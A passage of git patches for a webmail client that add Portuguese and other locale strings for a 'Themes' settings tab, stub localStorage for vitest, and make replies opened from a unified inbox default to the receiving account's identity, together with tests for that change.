título)", + "load_failed": "Falha ao carregar", + "unknown_sender": "Remetente desconhecido", + "all_day": "Dia todo" }, "form": { "create_title": "Novo contato", @@ -2592,7 +2592,7 @@ "nickname": "Apelido", "nickname_placeholder": "Apelido", "email": "E-mail", - "email_placeholder": "email@example.com", + "email_placeholder": "email@examplo.com.br", "phone": "Telefone", "phone_placeholder": "+55 11 1234 5678", "phone_type": "Tipo", @@ -2691,11 +2691,11 @@ "search_members": "Pesquisar contatos para adicionar...", "no_members": "Nenhum membro neste grupo", "member_count": "{count, plural, =0 {Nenhum membro} one {1 membro} other {# membros}}", - "send_email": "Send email to group", - "send_email_to": "To", + "send_email": "Enviar e-mail para o grupo", + "send_email_to": "Para", "send_email_cc": "Cc", - "send_email_bcc": "Bcc", - "no_member_emails": "This group has no members with an email address." + "send_email_bcc": "Cco", + "no_member_emails": "Este grupo não tem membros com endereço de e-mail." }, "import": { "title": "Importar contatos", @@ -3351,10 +3351,10 @@ "duplicate": "Duplicar", "duplicate_success": "Duplicado com sucesso", "duplicate_error": "Falha ao duplicar", - "share": "Share", - "shared": "Shared", - "shared_with_me": "Shared with me", - "shared_by": "Shared by {name}", + "share": "Compartilhar", + "shared": "Compartilhado", + "shared_with_me": "Compartilhado comigo", + "shared_by": "Compartilhado por {name}", "create_file_success": "Arquivo criado", "create_file_error": "Falha ao criar arquivo", "favorites": "Favoritos", From 1f211d175a89e72d7577ef7b1d16ddfa9a90a046 Mon Sep 17 00:00:00 2001 From: Luis Felipe Marzagao Date: Fri, 25 Sep 2026 22:21:05 -0300 Subject: [PATCH 018/358] =?UTF-8?q?fix:=20Add=20mising=20translation=20for?= =?UTF-8?q?=20=E2=80=9CThemes=E2=80=9D=20in=20settings=20tab?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- components/settings/settings-app.tsx | 2 +- locales/en/common.json | 1 + locales/pt/common.json | 1 + 3 files changed, 3 insertions(+), 1 deletion(-) diff --git a/components/settings/settings-app.tsx b/components/settings/settings-app.tsx index df34f9725..ceae16365 100644 --- a/components/settings/settings-app.tsx +++ b/components/settings/settings-app.tsx @@ -542,7 +542,7 @@ export function SettingsApp({ linkSegments: routeSegments }: SettingsAppProps = // Appearance { id: 'appearance', label: t('tabs.appearance'), icon: tabIcons.appearance, group: 'appearance' }, { id: 'layout', label: t('tabs.layout'), icon: tabIcons.layout, group: 'appearance' }, - ...(isFeatureEnabled('themesEnabled') ? [{ id: 'themes' as Tab, label: 'Themes', icon: tabIcons.themes, group: 'appearance' as TabGroup }] : []), + ...(isFeatureEnabled('themesEnabled') ? [{ id: 'themes' as Tab, label: t('tabs.themes'), icon: tabIcons.themes, group: 'appearance' as TabGroup }] : []), // Mail { id: 'reading', label: t('tabs.reading'), icon: tabIcons.reading, group: 'mail' }, diff --git a/locales/en/common.json b/locales/en/common.json index b90d24d0d..6fa79348f 100644 --- a/locales/en/common.json +++ b/locales/en/common.json @@ -930,6 +930,7 @@ "sidebar_apps": "Sidebar Apps", "notifications": "Notifications", "layout": "Layout", + "themes": "Themes", "reading": "Reading", "composing": "Composing", "downloads": "Downloads", diff --git a/locales/pt/common.json b/locales/pt/common.json index d17ddc4e1..226d5aa58 100644 --- a/locales/pt/common.json +++ b/locales/pt/common.json @@ -927,6 +927,7 @@ "sidebar_apps": "Apps da barra lateral", "notifications": "Notificações", "layout": "Layout", + "themes": "Temas", "reading": "Leitura", "composing": "Composição", "downloads": "Downloads", From 8162cfd9bf904d48f24f81f5a20ec935a863f775 Mon Sep 17 00:00:00 2001 From: Luis Felipe Marzagao Date: Fri, 25 Sep 2026 23:34:08 -0300 Subject: [PATCH 019/358] fix: Add missing "Themes" translation to all locales --- locales/ar/common.json | 1 + locales/ca/common.json | 1 + locales/cs/common.json | 1 + locales/da/common.json | 1 + locales/de/common.json | 1 + locales/es/common.json | 1 + locales/fa/common.json | 1 + locales/fr/common.json | 1 + locales/he/common.json | 1 + locales/hu/common.json | 1 + locales/it/common.json | 1 + locales/ja/common.json | 1 + locales/ko/common.json | 1 + locales/lv/common.json | 1 + locales/mn/common.json | 1 + locales/nb/common.json | 1 + locales/nl/common.json | 1 + locales/pl/common.json | 1 + locales/ro/common.json | 1 + locales/ru/common.json | 1 + locales/sk/common.json | 1 + locales/tr/common.json | 1 + locales/uk/common.json | 1 + locales/zh-TW/common.json | 1 + locales/zh/common.json | 1 + 25 files changed, 25 insertions(+) diff --git a/locales/ar/common.json b/locales/ar/common.json index 1b9c2d4e2..930666709 100644 --- a/locales/ar/common.json +++ b/locales/ar/common.json @@ -930,6 +930,7 @@ "sidebar_apps": "تطبيقات الشريط الجانبي", "notifications": "الإشعارات", "layout": "التخطيط", + "themes": "السمات", "reading": "القراءة", "composing": "الكتابة", "downloads": "التنزيلات", diff --git a/locales/ca/common.json b/locales/ca/common.json index a98dd9045..096b08fdd 100644 --- a/locales/ca/common.json +++ b/locales/ca/common.json @@ -930,6 +930,7 @@ "sidebar_apps": "Aplicacions de la barra lateral", "notifications": "Notificacions", "layout": "Disposició", + "themes": "Temes", "reading": "Lectura", "composing": "Redacció", "downloads": "Baixades", diff --git a/locales/cs/common.json b/locales/cs/common.json index bc6dce733..5eb8ae5b5 100644 --- a/locales/cs/common.json +++ b/locales/cs/common.json @@ -927,6 +927,7 @@ "sidebar_apps": "Aplikace postranního panelu", "notifications": "Oznámení", "layout": "Vzhled", + "themes": "Motivy", "reading": "Čtení", "composing": "Psaní", "downloads": "Stažené", diff --git a/locales/da/common.json b/locales/da/common.json index 9172193db..1abedc890 100644 --- a/locales/da/common.json +++ b/locales/da/common.json @@ -930,6 +930,7 @@ "sidebar_apps": "Sidepanel-apps", "notifications": "Notifikationer", "layout": "Layout", + "themes": "Temaer", "reading": "Læsning", "composing": "Skrivning", "downloads": "Downloads", diff --git a/locales/de/common.json b/locales/de/common.json index 8f5b90468..a37c77866 100644 --- a/locales/de/common.json +++ b/locales/de/common.json @@ -927,6 +927,7 @@ "sidebar_apps": "Sidebar-Apps", "notifications": "Benachrichtigungen", "layout": "Layout", + "themes": "Designs", "reading": "Lesen", "composing": "Verfassen", "downloads": "Downloads", diff --git a/locales/es/common.json b/locales/es/common.json index dcb460f37..8b62ca304 100644 --- a/locales/es/common.json +++ b/locales/es/common.json @@ -927,6 +927,7 @@ "sidebar_apps": "Apps de barra lateral", "notifications": "Notificaciones", "layout": "Diseño", + "themes": "Temas", "reading": "Lectura", "composing": "Redacción", "downloads": "Descargas", diff --git a/locales/fa/common.json b/locales/fa/common.json index 4693c60b9..76fdd1268 100644 --- a/locales/fa/common.json +++ b/locales/fa/common.json @@ -930,6 +930,7 @@ "sidebar_apps": "برنامه‌های نوار کناری", "notifications": "اعلان‌ها", "layout": "چیدمان", + "themes": "پوسته‌ها", "reading": "خواندن", "composing": "نوشتن", "downloads": "دانلودها", diff --git a/locales/fr/common.json b/locales/fr/common.json index 9d5c85d2f..1473e1f76 100644 --- a/locales/fr/common.json +++ b/locales/fr/common.json @@ -927,6 +927,7 @@ "sidebar_apps": "Apps de la barre latérale", "notifications": "Notifications", "layout": "Mise en page", + "themes": "Thèmes", "reading": "Lecture", "composing": "Rédaction", "downloads": "Téléchargements", diff --git a/locales/he/common.json b/locales/he/common.json index 6d6073bc2..12b5cffbb 100644 --- a/locales/he/common.json +++ b/locales/he/common.json @@ -892,6 +892,7 @@ "notifications": "התראות", "protocol_handlers": "יישומים ברירת מחדל", "layout": "פריסה", + "themes": "ערכות נושא", "reading": "קריאה", "composing": "הרכבה", "downloads": "הורדות", diff --git a/locales/hu/common.json b/locales/hu/common.json index c50a4b9d4..f409e488d 100644 --- a/locales/hu/common.json +++ b/locales/hu/common.json @@ -930,6 +930,7 @@ "sidebar_apps": "Oldalsáv alkalmazások", "notifications": "Értesítések", "layout": "Elrendezés", + "themes": "Témák", "reading": "Olvasás", "composing": "Írás", "downloads": "Letöltések", diff --git a/locales/it/common.json b/locales/it/common.json index 099959e29..f547a3e8f 100644 --- a/locales/it/common.json +++ b/locales/it/common.json @@ -927,6 +927,7 @@ "sidebar_apps": "App nella barra laterale", "notifications": "Notifiche", "layout": "Layout", + "themes": "Temi", "reading": "Lettura", "composing": "Composizione", "downloads": "Download", diff --git a/locales/ja/common.json b/locales/ja/common.json index c2b555b11..13b5d9420 100644 --- a/locales/ja/common.json +++ b/locales/ja/common.json @@ -927,6 +927,7 @@ "sidebar_apps": "サイドバーアプリ", "notifications": "通知", "layout": "レイアウト", + "themes": "テーマ", "reading": "閲覧", "composing": "作成", "downloads": "ダウンロード", diff --git a/locales/ko/common.json b/locales/ko/common.json index b1c0817d4..14bdbc68d 100644 --- a/locales/ko/common.json +++ b/locales/ko/common.json @@ -927,6 +927,7 @@ "sidebar_apps": "사이드바 앱", "notifications": "알림", "layout": "레이아웃", + "themes": "테마", "reading": "읽기", "composing": "작성", "downloads": "다운로드", diff --git a/locales/lv/common.json b/locales/lv/common.json index 8899bae12..56c7d11d5 100644 --- a/locales/lv/common.json +++ b/locales/lv/common.json @@ -927,6 +927,7 @@ "sidebar_apps": "Sānu joslas lietotnes", "notifications": "Paziņojumi", "layout": "Izkārtojums", + "themes": "Tēmas", "reading": "Lasīšana", "composing": "Rakstīšana", "downloads": "Lejupielādes", diff --git a/locales/mn/common.json b/locales/mn/common.json index f348b48a4..4e73fbd80 100644 --- a/locales/mn/common.json +++ b/locales/mn/common.json @@ -930,6 +930,7 @@ "sidebar_apps": "Хажуугийн аппууд", "notifications": "Мэдэгдэл", "layout": "Байршил", + "themes": "Сэдэв", "reading": "Унших", "composing": "Зохиоглох", "downloads": "Татаж авах", diff --git a/locales/nb/common.json b/locales/nb/common.json index 67e2cf1be..9833f8c9a 100644 --- a/locales/nb/common.json +++ b/locales/nb/common.json @@ -930,6 +930,7 @@ "sidebar_apps": "Apper i sidefeltet", "notifications": "Varsler", "layout": "Oppsett", + "themes": "Temaer", "reading": "Lesing", "composing": "Skriving", "downloads": "Nedlastinger", diff --git a/locales/nl/common.json b/locales/nl/common.json index c96c2b9ec..43190bf60 100644 --- a/locales/nl/common.json +++ b/locales/nl/common.json @@ -927,6 +927,7 @@ "sidebar_apps": "Zijbalk-apps", "notifications": "Meldingen", "layout": "Indeling", + "themes": "Thema's", "reading": "Lezen", "composing": "Opstellen", "downloads": "Downloads", diff --git a/locales/pl/common.json b/locales/pl/common.json index 3022543f7..2a10f1cd4 100644 --- a/locales/pl/common.json +++ b/locales/pl/common.json @@ -927,6 +927,7 @@ "sidebar_apps": "Aplikacje paska bocznego", "notifications": "Powiadomienia", "layout": "Układ", + "themes": "Motywy", "reading": "Czytanie", "composing": "Tworzenie", "downloads": "Pobrane", diff --git a/locales/ro/common.json b/locales/ro/common.json index 60d58bd31..b9d069918 100644 --- a/locales/ro/common.json +++ b/locales/ro/common.json @@ -930,6 +930,7 @@ "sidebar_apps": "Aplicații din bara laterală", "notifications": "Notificări", "layout": "Aspect", + "themes": "Teme", "reading": "Citire", "composing": "Redactarea", "downloads": "Descărcări", diff --git a/locales/ru/common.json b/locales/ru/common.json index 3232e5c29..f4bec98ad 100644 --- a/locales/ru/common.json +++ b/locales/ru/common.json @@ -927,6 +927,7 @@ "sidebar_apps": "Приложения боковой панели", "notifications": "Уведомления", "layout": "Макет", + "themes": "Темы", "reading": "Чтение", "composing": "Написание", "downloads": "Загрузки", diff --git a/locales/sk/common.json b/locales/sk/common.json index 2577ded34..8b7de04f0 100644 --- a/locales/sk/common.json +++ b/locales/sk/common.json @@ -930,6 +930,7 @@ "sidebar_apps": "Aplikácie postranného panela", "notifications": "Oznámenia", "layout": "Rozloženie", + "themes": "Motívy", "reading": "Čítanie", "composing": "Pisanie", "downloads": "Stiahnuté", diff --git a/locales/tr/common.json b/locales/tr/common.json index 0ce9db316..ad003718f 100644 --- a/locales/tr/common.json +++ b/locales/tr/common.json @@ -927,6 +927,7 @@ "protocol_handlers": "Varsayılan uygulamalar", "notifications": "Bildirimler", "layout": "Düzen", + "themes": "Temalar", "reading": "Okuma", "composing": "Yazma", "downloads": "İndirilenler", diff --git a/locales/uk/common.json b/locales/uk/common.json index df85cb3a3..031e8cb89 100644 --- a/locales/uk/common.json +++ b/locales/uk/common.json @@ -927,6 +927,7 @@ "sidebar_apps": "Програми бічної панелі", "notifications": "Сповіщення", "layout": "Макет", + "themes": "Теми", "reading": "Читання", "composing": "Написання", "downloads": "Завантаження", diff --git a/locales/zh-TW/common.json b/locales/zh-TW/common.json index 9514cbb22..924634b4c 100644 --- a/locales/zh-TW/common.json +++ b/locales/zh-TW/common.json @@ -930,6 +930,7 @@ "sidebar_apps": "側邊欄應用程式", "notifications": "通知", "layout": "版面配置", + "themes": "主题", "reading": "閱讀", "composing": "撰寫", "downloads": "下載", diff --git a/locales/zh/common.json b/locales/zh/common.json index 5b2281191..974eef900 100644 --- a/locales/zh/common.json +++ b/locales/zh/common.json @@ -927,6 +927,7 @@ "sidebar_apps": "侧边栏应用", "notifications": "通知", "layout": "布局", + "themes": "主题", "reading": "阅读", "composing": "撰写", "downloads": "下载", From 4645bcd5c00acee6761b9a830982f82ff5b13ceb Mon Sep 17 00:00:00 2001 From: Luis Felipe Marzagao Date: Fri, 25 Sep 2026 23:34:37 -0300 Subject: [PATCH 020/358] fix(test): Provide localStorage stub for vitest on jsdom 28 --- vitest.setup.ts | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) diff --git a/vitest.setup.ts b/vitest.setup.ts index 73bc77b86..c40182095 100644 --- a/vitest.setup.ts +++ b/vitest.setup.ts @@ -18,6 +18,32 @@ if (typeof window !== 'undefined' && typeof window.matchMedia !== 'function') { }) as unknown as MediaQueryList; } +// jsdom 28 (resolved by the ^27 caret in package.json) no longer provides a +// localStorage implementation; the zustand persist middleware writes through +// it on every setState and several stores read from it directly. Provide a +// minimal in-memory Storage so store-backed components render under test. +if (typeof window !== 'undefined' && typeof window.localStorage === 'undefined') { + const backing = new Map(); + const localStorage: Storage = { + get length() { + return backing.size; + }, + clear: () => backing.clear(), + getItem: (key: string) => backing.get(key) ?? null, + key: (index: number) => [...backing.keys()][index] ?? null, + removeItem: (key: string) => { + backing.delete(key); + }, + setItem: (key: string, value: string) => { + backing.set(key, String(value)); + }, + }; + Object.defineProperty(window, 'localStorage', { + value: localStorage, + configurable: true, + }); +} + vi.mock('next-intl', () => ({ useTranslations: () => (key: string) => key, useLocale: () => 'en', From daf67850d297550399e0589a9bb9360de89eb9f1 Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 12:31:29 +0200 Subject: [PATCH 021/358] fix: reply from the receiving account's identity in the unified inbox #1104 --- .../email/__tests__/reply-addressing.test.tsx | 81 ++++++++++++++++++- components/email/email-composer.tsx | 72 ++++++++++------- components/mail/mail-app.tsx | 8 +- .../use-pro-multi-account-identities.test.tsx | 79 ++++++++++++++++++ hooks/use-pro-multi-account-identities.ts | 35 +++++--- 5 files changed, 234 insertions(+), 41 deletions(-) create mode 100644 hooks/__tests__/use-pro-multi-account-identities.test.tsx diff --git a/components/email/__tests__/reply-addressing.test.tsx b/components/email/__tests__/reply-addressing.test.tsx index 07173e979..cdabf000f 100644 --- a/components/email/__tests__/reply-addressing.test.tsx +++ b/components/email/__tests__/reply-addressing.test.tsx @@ -1,9 +1,10 @@ import { render, screen } from '@testing-library/react'; -import { describe, it, expect, vi, beforeEach } from 'vitest'; +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'; import React from 'react'; import { EmailComposer } from '../email-composer'; import { useSettingsStore } from '@/stores/settings-store'; import { useAuthStore } from '@/stores/auth-store'; +import { useAccountStore } from '@/stores/account-store'; // ─── Heavy component mocks (mirrors recipient-paste.test.tsx) ───────────────── @@ -76,7 +77,10 @@ vi.mock('@/stores/identity-store', () => { }); vi.mock('@/stores/account-store', () => { - const state = { accounts: [], getAccountById: () => undefined }; + const state = { + accounts: [] as { id: string; email: string; isConnected: boolean }[], + getAccountById: (id: string) => state.accounts.find((a) => a.id === id), + }; const hook = (sel?: (s: typeof state) => unknown) => typeof sel === 'function' ? sel(state) : state; hook.getState = () => state; @@ -379,4 +383,77 @@ describe('composer reply addressing', () => { proIdentities.allIdentities = []; } }); + + // #1104: a message opened from the Unified Inbox, or from a non-active + // account's folders, arrived on another connected account. Its blobIds and + // thread live there, so that account's identities are the ones to use. + describe('message held by another connected account', () => { + const accountStore = useAccountStore as unknown as { setState: (p: Record) => void }; + const ALL = [ + { id: 'local-1::id-me', email: 'me@example.com', name: 'Me' }, + { id: 'local-1::id-info', email: 'info@example.com', name: 'Info' }, + { id: 'local-2::id-login', email: 'login@elsewhere.net', name: 'Login' }, + { id: 'local-2::id-alias', email: 'alias@elsewhere.net', name: 'Alias' }, + ]; + const TO_ALIAS = { + from: [{ email: 'bob@other.com', name: 'Bob' }], + to: [{ email: 'alias@elsewhere.net' }], + subject: 'Hi', + }; + const TO_LIST = { + from: [{ email: 'bob@other.com', name: 'Bob' }], + to: [{ email: 'list@lists.example.org' }], + subject: 'Newsletter', + }; + + beforeEach(() => { + proIdentities.enabled = true; + proIdentities.allIdentities = ALL; + (useAuthStore as unknown as { setState: (p: Record) => void }) + .setState({ activeAccountId: 'local-1' }); + // The active login's address is not its default identity (#507). + accountStore.setState({ + accounts: [ + { id: 'local-1', email: 'info@example.com', isConnected: true }, + { id: 'local-2', email: 'login@elsewhere.net', isConnected: true }, + ], + }); + }); + + afterEach(() => { + proIdentities.enabled = false; + proIdentities.allIdentities = []; + accountStore.setState({ accounts: [] }); + }); + + it('replies from the address on that account that received it', () => { + render(); + expect(identitySelect().value).toBe('local-2::id-alias'); + }); + + it('forwards from that account when none of its addresses received it', () => { + render(); + expect(identitySelect().value).toBe('local-2::id-login'); + }); + + it('waits for that account\'s identities instead of keeping the default', () => { + proIdentities.allIdentities = ALL.filter((i) => i.id.startsWith('local-1::')); + const replyTo = { ...TO_ALIAS, accountId: 'local-2' }; + const { rerender } = render(); + proIdentities.allIdentities = ALL; + rerender(); + expect(identitySelect().value).toBe('local-2::id-alias'); + }); + + it('keeps the default identity for a message on the active account', () => { + render(); + expect(identitySelect().value).toBe('local-1::id-me'); + }); + + // A shared folder's messages carry the owner's JMAP id, not a login. + it('resolves on the active account when the id is not a connected login', () => { + render(); + expect(identitySelect().value).toBe('local-1::id-info'); + }); + }); }); diff --git a/components/email/email-composer.tsx b/components/email/email-composer.tsx index a32466749..a2e120ab7 100644 --- a/components/email/email-composer.tsx +++ b/components/email/email-composer.tsx @@ -306,9 +306,9 @@ export function EmailComposer({ const signatureSeparatorEnabled = useSettingsStore((state) => state.signatureSeparatorEnabled); const requestReadReceiptDefault = useSettingsStore((state) => state.requestReadReceiptDefault); const activeIdentities = useIdentityStore((s) => s.identities); - // Pro shell: surface identities from every connected account, grouped - // for the From dropdown's s. Outside Pro this collapses to - // the active account's identities only. + // More than one connected account: surface identities from every one, + // grouped for the From dropdown's s. With a single account this + // collapses to the active account's identities only. const multiAccountIdentities = useProMultiAccountIdentities(); const identities = multiAccountIdentities.enabled ? multiAccountIdentities.allIdentities @@ -318,17 +318,26 @@ export function EmailComposer({ : []; const primaryIdentity = activeIdentities[0] ?? null; const activeAccountId = useAuthStore((s) => s.activeAccountId); - // Automatic selection stays on the active account: `composerClient` follows - // the chosen identity, and a reply/forward still carries the original - // message's blobIds, which only its own account's server can resolve. The - // From dropdown keeps offering every account's identities to pick by hand. - const sameAccountIdentities = useMemo( + // Automatic selection stays on the account that holds the original message: + // `composerClient` follows the chosen identity, and a reply/forward still + // carries the original message's blobIds, which only that account's server + // can resolve. That is the active account unless `replyTo.accountId` names + // another connected login - a message opened from the Unified Inbox or from + // a non-active account's folders (#1104). Anything else there (a shared + // folder's owner id) stays on the active account. The From dropdown keeps + // offering every account's identities to pick by hand. + const replyAccountId = replyTo?.accountId; + const sourceAccountId = multiAccountIdentities.enabled && replyAccountId + && useAccountStore.getState().getAccountById(replyAccountId)?.isConnected + ? replyAccountId + : activeAccountId; + const sourceAccountIdentities = useMemo( () => (multiAccountIdentities.enabled ? identities.filter( - (identity) => stripCrossAccountIdentityPrefix(identity.id).localAccountId === activeAccountId, + (identity) => stripCrossAccountIdentityPrefix(identity.id).localAccountId === sourceAccountId, ) : identities), - [multiAccountIdentities.enabled, identities, activeAccountId], + [multiAccountIdentities.enabled, identities, sourceAccountId], ); const { isFeatureEnabled } = usePolicyStore(); @@ -816,12 +825,20 @@ export function EmailComposer({ // neighbouring inline-image effect groups all three modes together. if (mode !== 'reply' && mode !== 'replyAll' && mode !== 'forward') return; + // The original lives on another connected account whose identities have + // not loaded yet: wait for them instead of settling on one of the active + // account's, which the selectedIdentityId guard above would then keep. + const fromOtherAccount = Boolean(sourceAccountId) && sourceAccountId !== activeAccountId; + if (fromOtherAccount && sourceAccountIdentities.length === 0) return; + // Replying to our own message in a thread (#703): keep sending as the // identity that sent it. Resolving from the recipients here would pick the // *other* party's address - and on a catch-all domain it would even set a - // From override to their address. + // From override to their address. An identity on the message's own account + // wins when two accounts share the address. if (isSelfSent({ from: replyTo?.from }, identities.map(i => i.email).filter(Boolean))) { - const senderIdentityId = findDraftIdentityId(identities, replyTo?.from?.[0]); + const senderIdentityId = findDraftIdentityId(sourceAccountIdentities, replyTo?.from?.[0]) + ?? findDraftIdentityId(identities, replyTo?.from?.[0]); if (senderIdentityId) { setSelectedIdentityId(senderIdentityId); return; @@ -836,7 +853,7 @@ export function EmailComposer({ // Own-identity match: unconditional, since it only ever selects one of the // user's own configured addresses. - const ownIdentityId = findReplyIdentityId(sameAccountIdentities, recipients); + const ownIdentityId = findReplyIdentityId(sourceAccountIdentities, recipients); if (ownIdentityId) { setSelectedIdentityId(ownIdentityId); return; @@ -849,7 +866,7 @@ export function EmailComposer({ // lets a user keep the setting on but limit it to configured identities, // for domains where the other addresses are distribution lists (#1000). if (autoSelectReplyIdentity && mode !== 'forward') { - const resolved = resolveReplyFrom(identities, recipients, replyIdentityMatch); + const resolved = resolveReplyFrom(sourceAccountIdentities, recipients, replyIdentityMatch); if (resolved) { setSelectedIdentityId(resolved.identityId); if (resolved.overrideEmail && !fromOverrideEnabled) { @@ -861,18 +878,16 @@ export function EmailComposer({ } } - // Fallback: match identity by the account's email when replying from unified view - if (replyTo?.accountId) { - const account = useAccountStore.getState().getAccountById(replyTo.accountId); - if (account?.email) { - const accountEmail = account.email.trim().toLowerCase(); - const accountIdentity = identities.find( - (identity) => identity.email.trim().toLowerCase() === accountEmail - ); - if (accountIdentity) { - setSelectedIdentityId(accountIdentity.id); - } - } + // Nothing on the message's account matched, but it is not the active one: + // still send from it - the identity on its login address, else its first - + // rather than from the active account's default (#1104). On the active + // account the default already applies, and it is the user's choice (#507). + if (fromOtherAccount && sourceAccountId) { + const loginEmail = useAccountStore.getState().getAccountById(sourceAccountId)?.email?.trim().toLowerCase(); + const accountIdentity = sourceAccountIdentities.find( + (identity) => identity.email.trim().toLowerCase() === loginEmail + ) ?? sourceAccountIdentities[0]; + setSelectedIdentityId(accountIdentity.id); } }, [ autoSelectReplyIdentity, @@ -880,10 +895,11 @@ export function EmailComposer({ composeFromAccountEmail, fromOverrideEnabled, identities, - sameAccountIdentities, + sourceAccountIdentities, + sourceAccountId, + activeAccountId, initialData?.selectedIdentityId, mode, - replyTo?.accountId, replyTo?.bcc, replyTo?.cc, replyTo?.from, diff --git a/components/mail/mail-app.tsx b/components/mail/mail-app.tsx index b47592297..ace21ba84 100644 --- a/components/mail/mail-app.tsx +++ b/components/mail/mail-app.tsx @@ -970,6 +970,9 @@ export function MailApp({ linkSegments: routeSegments }: MailAppProps = {}) { subject: selectedEmail.subject, ...getQuoteBodies(selectedEmail), receivedAt: selectedEmail.receivedAt, + // The login that holds the message, so the reply defaults to that + // account's identity (#1104). Same resolution as the invitation banner. + accountId: selectedEmail.sourceClientAccountId ?? viewingAccountId ?? undefined, attachments: selectedEmail.attachments, messageId: selectedEmail.messageId, inReplyTo: selectedEmail.inReplyTo, @@ -1679,7 +1682,7 @@ export function MailApp({ linkSegments: routeSegments }: MailAppProps = {}) { fromName?: string; identityId?: string; /** Local account owning the selected identity, when it came from the - * cross-account From dropdown (Pro / embedded multi-account). */ + * cross-account From dropdown (more than one connected account). */ localAccountId?: string; envelopeMailFrom?: string; attachments?: Array<{ blobId: string; name: string; type: string; size: number; disposition?: 'attachment' | 'inline'; cid?: string }>; @@ -4272,6 +4275,9 @@ export function MailApp({ linkSegments: routeSegments }: MailAppProps = {}) { subject: selectedEmail.subject, ...getQuoteBodies(selectedEmail), receivedAt: selectedEmail.receivedAt, + // The login that holds the message, so the reply + // defaults to that account's identity (#1104). + accountId: selectedEmail.sourceClientAccountId ?? viewingAccountId ?? undefined, attachments: selectedEmail.attachments, messageId: selectedEmail.messageId, inReplyTo: selectedEmail.inReplyTo, diff --git a/hooks/__tests__/use-pro-multi-account-identities.test.tsx b/hooks/__tests__/use-pro-multi-account-identities.test.tsx new file mode 100644 index 000000000..c23a41df9 --- /dev/null +++ b/hooks/__tests__/use-pro-multi-account-identities.test.tsx @@ -0,0 +1,79 @@ +import { render, cleanup, waitFor } from '@testing-library/react'; +import { describe, it, expect, afterEach, vi } from 'vitest'; +import { useProMultiAccountIdentities } from '../use-pro-multi-account-identities'; + +// The standard shell opens other accounts' messages too (Unified Inbox, a +// non-active account's folders), so a reply can only default to the receiving +// account's identity if the cross-account list is built there as well - it +// used to be Pro/embedded only (#1104). + +const env = vi.hoisted(() => ({ + accounts: [] as { id: string; email: string; username: string; label?: string; isConnected: boolean }[], + getIdentities: vi.fn(async () => [{ id: 'id-b', email: 'b@elsewhere.net', name: 'B' }]), +})); + +vi.mock('@/stores/account-store', () => ({ + useAccountStore: (sel: (s: { accounts: typeof env.accounts }) => unknown) => sel({ accounts: env.accounts }), +})); + +vi.mock('@/stores/auth-store', () => { + const state = { + activeAccountId: 'acc-a', + getClientForAccount: (id: string) => (id === 'acc-b' ? { getIdentities: env.getIdentities } : undefined), + }; + const hook = (sel: (s: typeof state) => unknown) => sel(state); + hook.getState = () => state; + return { useAuthStore: hook }; +}); + +vi.mock('@/stores/identity-store', () => { + const state = { identities: [{ id: 'id-a', email: 'a@example.com', name: 'A' }] }; + return { useIdentityStore: (sel: (s: typeof state) => unknown) => sel(state) }; +}); + +type Result = ReturnType; + +function Harness({ sink }: { sink: Result[] }) { + sink.push(useProMultiAccountIdentities()); + return null; +} + +const A = { id: 'acc-a', email: 'a@example.com', username: 'a@example.com', isConnected: true }; +const B = { id: 'acc-b', email: 'b@elsewhere.net', username: 'b@elsewhere.net', isConnected: true }; + +afterEach(() => { + cleanup(); + env.getIdentities.mockClear(); +}); + +describe('useProMultiAccountIdentities', () => { + it('stays off with a single connected account', () => { + env.accounts = [A]; + const sink: Result[] = []; + render(); + expect(sink.at(-1)?.enabled).toBe(false); + expect(env.getIdentities).not.toHaveBeenCalled(); + }); + + it('lists every connected account\'s identities, namespaced by account', async () => { + env.accounts = [A, B]; + const sink: Result[] = []; + render(); + await waitFor(() => expect(sink.at(-1)?.allIdentities.map((i) => i.id)) + .toEqual(['acc-a::id-a', 'acc-b::id-b'])); + expect(sink.at(-1)?.enabled).toBe(true); + }); + + // mail-app keeps an instance mounted; a composer opened later must know the + // other accounts' addresses on its first render, when reply-all drops them. + it('starts a later instance with the identities an earlier one loaded', async () => { + env.accounts = [A, B]; + const first: Result[] = []; + render(); + await waitFor(() => expect(first.at(-1)?.allIdentities).toHaveLength(2)); + + const second: Result[] = []; + render(); + expect(second[0].allIdentities.map((i) => i.id)).toEqual(['acc-a::id-a', 'acc-b::id-b']); + }); +}); diff --git a/hooks/use-pro-multi-account-identities.ts b/hooks/use-pro-multi-account-identities.ts index ea5fee364..0c75bea2f 100644 --- a/hooks/use-pro-multi-account-identities.ts +++ b/hooks/use-pro-multi-account-identities.ts @@ -4,8 +4,6 @@ import { useEffect, useMemo, useState } from "react"; import { useAccountStore } from "@/stores/account-store"; import { useAuthStore } from "@/stores/auth-store"; import { useIdentityStore } from "@/stores/identity-store"; -import { useSettingsStore } from "@/stores/settings-store"; -import { useIsEmbedded } from "@/hooks/use-is-embedded"; import type { Identity } from "@/lib/jmap/types"; interface AccountIdentityGroup { @@ -16,6 +14,13 @@ interface AccountIdentityGroup { const CROSS_ACCOUNT_IDENTITY_DELIMITER = '::'; +// Identities last fetched per non-active account, shared by every mounted +// instance. mail-app keeps one mounted, so a composer opened later starts with +// the other accounts' identities instead of a round-trip behind: reply-all +// leaves our own addresses out based on its first render (#1104). Each mount +// still refetches. +const remoteIdentityCache = new Map(); + /** Cross-account identity IDs are namespaced to avoid collisions between JMAP * servers that happen to issue the same opaque ID. EVERY aggregated account is * namespaced (including the active one) so an id doesn't change form when the @@ -37,12 +42,17 @@ export function stripCrossAccountIdentityPrefix(id: string): { localAccountId: s } /** - * Pro shell only: load identities from every connected account and group - * them by local account so the composer's From dropdown can render an - * per account - mirrors [[useProMultiAccountCalendars]] and + * Load identities from every connected account and group them by local + * account so the composer's From dropdown can render an per + * account - mirrors [[useProMultiAccountCalendars]] and * [[useProMultiAccountContacts]]. * - * Outside Pro / embedded mode the hook returns `enabled: false` and the + * Not limited to the Pro shell: the standard shell opens other accounts' + * messages too (Unified Inbox, a non-active account's folders), and a reply + * can only default to the receiving account's identity if that identity is in + * the list (#1104). + * + * With a single connected account the hook returns `enabled: false` and the * caller falls back to the active account's identities from * [[useIdentityStore]]. */ @@ -52,15 +62,15 @@ export function useProMultiAccountIdentities(): { /** Flat list across all accounts, useful for lookup-by-id. */ allIdentities: Identity[]; } { - const isEmbedded = useIsEmbedded(); - const proInterface = 